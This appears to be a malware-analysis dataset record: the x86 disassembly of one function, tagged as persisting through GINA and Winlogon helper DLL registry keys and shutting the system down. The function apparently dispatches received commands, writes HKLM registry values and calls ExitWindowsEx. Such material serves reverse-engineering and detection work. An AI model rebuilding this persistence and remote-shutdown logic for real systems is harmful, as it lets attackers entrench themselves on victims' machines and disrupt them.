Function at 0x417c00
Capabilities:
Persist via ginadll registry key
Persist via winlogon helper dll registry key
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x15c
push 0
push 0
dec ecx
jne 0x417c08
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4182b1
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x418281
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x40ab34]
call fcn.00403544
mov dword [ebp - 0x14], eax
mov dl, 1
mov eax, dword [0x40ab34]
call fcn.00403544
mov dword [ebp - 0x18], eax
mov dl, 1
mov eax, dword [0x40ab34]
call fcn.00403544
mov dword [ebp - 0x1c], eax
xor edx, edx
push ebp
push 0x418270
push dword fs:[edx]
mov dword fs:[edx], esp
push dword [0x426b10]
push dword [0x426b0c]
push dword [0x426ae8]
push dword [0x426ae4]
lea eax, [ebp - 0x18]
mov edx, dword [0x425914]
call fcn.00416c50
mov eax, dword [ebp - 0x18]
call fcn.0040abc0
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jle 0x41823e
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov ebx, dword [eax]
call dword [ebx + 0x10]
lea edx, [ebp - 0x7b8]
mov ecx, 0x798
mov eax, dword [ebp - 0x18]
call fcn.0040acf4
lea eax, [ebp - 0x7b8]
call fcn.004175b8
lea eax, [ebp - 0x6b4]
mov edx, 0x425b2c
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x417d18
lea eax, [ebp - 0x6b4]
mov edx, 0x4182c0
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x417d18
cmp byte [ebp - 0x6b4], 0
je 0x417d18
cmp byte [0x425b2c], 0
jne case.0x417d5f.0
lea eax, [ebp - 0x7b4]
mov edx, 0x4182cc
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je 0x417d4a
lea eax, [ebp - 0x7b4]
mov edx, 0x42592c
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
jne case.0x417d5f.0
mov eax, dword [ebp - 0x7b8]
cmp eax, 0x18
ja case.0x417d5f.0
mov al, byte [eax + 0x417d66]
jmp dword [eax*4 + 0x417d7f]
mov eax, 0x4182e8
call fcn.0041ba2c
test al, al
je case.0x417d5f.0
lea eax, [ebp - 0xabc]
call fcn.0041d900
lea eax, [ebp - 0xabc]
mov edx, 0x418310
call fcn.004042b4
mov eax, dword [ebp - 0xabc]
call fcn.0041b4ec
mov byte [0x426a2f], 1
push 0
push 0
push 1
mov eax, dword [0x425914]
push eax
push 0x1103
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041d4c4
jmp case.0x417d5f.0
mov ecx, 0x4182e8
mov edx, 0x41832c
mov eax, 0x80000002
call fcn.00410e08
mov ecx, 0x418374
mov edx, 0x418388
mov eax, 0x80000002
call fcn.00410d6c
mov ecx, 0x418374
mov edx, 0x4183e4
mov eax, 0x80000002
call fcn.00410d6c
mov ecx, 0x41843c
mov edx, 0x418450
mov eax, 0x80000002
call fcn.00410d6c
mov eax, 0x4184ac
call fcn.004173c8
test al, al
je case.0x417d5f.0
push 0
push 2
call sub.user32.dll_ExitWindowsEx
jmp case.0x417d5f.0
cmp byte [ebp - 0x5b4], 0
je 0x417ee2
lea eax, [ebp - 0xac0]
lea edx, [ebp - 0x5b4]
call fcn.00404250
mov eax, dword [ebp - 0xac0]
call fcn.0041072c
cmp eax, dword [0x426a44]
je 0x417ee2
lea eax, [ebp - 0xac4]
lea edx, [ebp - 0x5b4]
call fcn.00404250
mov eax, dword [ebp - 0xac4]
call fcn.0041072c
mov ebx, eax
mov dword [0x426a44], ebx
push 0
push 0
push 0
mov eax, dword [0x425914]
push eax
push 0x1118
mov ecx, ebx
xor edx, edx
mov eax, 2
call fcn.0041d4c4
cmp byte [ebp - 0x4b4], 0
je case.0x417d5f.0
lea eax, [ebp - 0xac8]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xac8]
call fcn.0041072c
cmp eax, dword [0x426a48]
je case.0x417d5f.0
lea eax, [ebp - 0xacc]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xacc]
call fcn.0041072c
mov dword [0x426a48], eax
push 0
push 0
push 0
mov eax, dword [0x425914]
push eax
push 0x111c
lea eax, [ebp - 0xad0]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xad0]
call fcn.0041072c
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041d4c4
jmp case.0x417d5f.0
cmp byte [0x423dcc], 0
je case.0x417d5f.0
cmp byte [0x423dd0], 0
jne case.0x417d5f.0
mov byte [0x423dd0], 1
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x417b90
xor edx, edx
xor eax, eax
call fcn.00403fc8
jmp case.0x417d5f.0
mov eax, dword [0x426a5c]
cmp eax, dword [ebp - 0x34]
je case.0x417d5f.0
lea eax, [ebp - 8]
call fcn.004179d8
mov eax, dword [ebp - 0x34]
mov dword [0x426a5c], eax
push 0
push 0
push 0
mov edx, dword [0x425914]
push edx
push 0x1130
mov ecx, eax
xor edx, edx
mov eax, 2
call fcn.0041d4c4
push 0x4184c8
push dword [ebp - 8]
push 0x4184ec
lea eax, [ebp - 0xad4]
mov edx, 3
call fcn.0040436c
mov edx, dword [ebp - 0xad4]
lea eax, [ebp - 0x1c]
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x4184fc
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x418538
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x418574
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x4185b0
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x4185ec
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x418628
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x418664
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x41869c
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x4186d4
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x418718
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x418758
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x418794
call fcn.004177e0
lea eax, [ebp - 0x1c]
mov edx, 0x4187d0
call fcn.004177e0
xor ecx, ecx
mov edx, 0x41880c
mov eax, 0x80000002
call fcn.00410ea4
mov esi, 0x41886c
lea edi, [ebp - 0xab8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xad8]
call fcn.00417ae8
mov edx, dword [ebp - 0xad8]
lea eax, [ebp - 0x9b8]
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0x8b8]
mov edx, dword [ebp - 8]
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0xab8]
call fcn.00416384
jmp case.0x417d5f.0
cmp byte [0x423dcc], 0
je case.0x417d5f.0
cmp byte [0x423dd4], 0
jne case.0x417d5f.0
mov byte [0x423dd4], 1
mov eax, 0x428624
lea edx, [ebp - 0x5b4]
call fcn.00404250
xor eax, eax
push ebp
push 0x418195
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xadc]
lea edx, [ebp - 0x4b4]
call fcn.00404250
mov eax, dword [ebp - 0xadc]
call fcn.004076e8
mov dword [0x428628], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41819f
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x417bac
xor edx, edx
xor eax, eax
call fcn.00403fc8
jmp case.0x417d5f.0
cmp byte [ebp - 0x5b4], 0
je case.0x417d5f.0
lea eax, [ebp - 0x5b4]
mov edx, 0x425a2c
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402c5c
je case.0x417d5f.0
mov eax, 0x425a2c
lea edx, [ebp - 0x5b4]
call fcn.00402c34
push 0
push 0
push 0
mov eax, dword [0x425914]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0xae0]
mov edx, 0x425a2c
call fcn.00404250
mov edx, dword [ebp - 0xae0]
xor ecx, ecx
mov eax, 1
call fcn.0041d4c4
add dword [ebp - 0x10], 0x798
mov eax, dword [ebp - 0x138]
add dword [ebp - 0x10], eax
sub dword [ebp - 0xc], 0x798
sub dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x417ca9
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ebx, dword [eax]
call dword [ebx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418277
mov eax, dword [ebp - 0x18]
call fcn.00403574
mov eax, dword [ebp - 0x14]
call fcn.00403574
mov eax, dword [ebp - 0x1c]
call fcn.00403574
ret